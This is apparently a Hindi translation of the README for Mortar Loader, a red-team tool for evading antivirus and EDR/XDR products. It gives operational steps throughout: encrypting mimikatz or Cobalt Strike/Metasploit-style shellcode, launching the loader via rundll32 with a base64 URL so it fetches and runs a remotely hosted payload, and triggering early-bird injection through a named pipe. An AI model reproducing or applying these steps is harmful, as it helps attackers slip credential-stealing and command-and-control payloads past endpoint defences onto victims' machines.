0xsp-srd/mortarसुरक्षा उत्पादों (AV/EDR/XDR) की पहचान और रोकथाम को पराजित और मोड़ने की परिहार तकनीक
लाल टीमिंग एवेज़न तकनीक जो सुरक्षा उत्पादों का पता लगाने और रोकथाम को पराजित और विचलित करती है। Mortar Loader मेमोरी स्ट्रीम के अंदर PE/Shellcode को एन्क्रिप्ट और डिक्रिप्ट करता है और कई इंजेक्शन तकनीकों का लाभ उठाकर इसे निष्पादित करता है। Mortar आधुनिक एंटी-वायरस उत्पादों और उन्नत XDR समाधानों को बायपास करने में सक्षम है और निम्नलिखित के लिए परीक्षण और पुष्टि की गई है:
नया संस्करण (v3) निम्नलिखित सुविधाओं के साथ जारी किया गया है:
अधिक तकनीकी विवरण के लिए, निम्नलिखित ब्लॉगपोस्ट देखें: https://kpmg.com/nl/en/home/insights/2023/12/mortar-loader.html
एन्क्रिप्टर C शेलकोड और PE बाइनरी को एन्क्रिप्ट करता है और आउटपुट को .enc फ़ाइल में लिखता है। आप अपनी पसंद के किसी भी पेलोड (MSF/cobalt/Havoc आदि) का उपयोग कर सकते हैं, जब तक वह x64 आर्किटेक्चर का हो और RAW न हो।
root@kali>./encryptor -f mimikatz.exe -o bin.enc
root@kali>./encryptor -f shellcode.c -o bin.enc
नया रिलीज़ कई तकनीकों का उपयोग करता है जो दूरस्थ पेलोड फ़ेचिंग के साथ संयुक्त हैं, अधिक जानकारी के लिए निम्नलिखित ब्लॉगपोस्ट देखने की अनुशंसा की जाती है।
त्वरित निर्देशों के लिए:
# PE फोर्किंग
1. अपनी एन्क्रिप्टेड बाइनरी को दूरस्थ होस्ट पर होस्ट करें।
2. अंतिम URL को base64 से एन्कोड करें।
3. rundll32.exe agressor.dll,viewlogs [BASE64 URL]।
4. कवर्ट रीलोड सबरूटीन तकनीक सक्षम है।
वर्तमान में अर्ली बर्ड इंजेक्शन को नेम्ड पाइप्स के साथ समर्थन करता है ताकि अंतिम निष्पादन के लिए चर प्राप्त किए जा सकें।
1. Mortar DLL को दूरस्थ प्रक्रिया में इंजेक्ट करें (DLL इंजेक्शन, हाइजैकिंग, साइडलोडिंग)।
2. अपना URL प्रदान करने के लिए नेम्ड पाइप से कनेक्ट करें:
echo {BASE64 URL} > \\.\pipe\moj_ML_ntsvcs
3. एक बार मान्य मान प्राप्त होने पर पेलोड निष्पादित होगा।
परियोजना को FPC (फ्री पास्कल) का उपयोग करके कोडित किया गया है, संकलन प्रक्रिया सीधी है: Lazarus IDE (https://www.lazarus-ide.org/index.php?page=downloads) डाउनलोड और इंस्टॉल करें।
एन्क्रिप्टर के लिए आप इसे रिलीज़ सेक्शन से डाउनलोड कर सकते हैं या Lazarus IDE से आसानी से संकलित कर सकते हैं।
#Debian & Ubuntu
apt install fpc
apt install lazarus-ide
Mortar या किसी साझा परियोजना का विकास मेरे व्यक्तिगत समय का परिणाम है।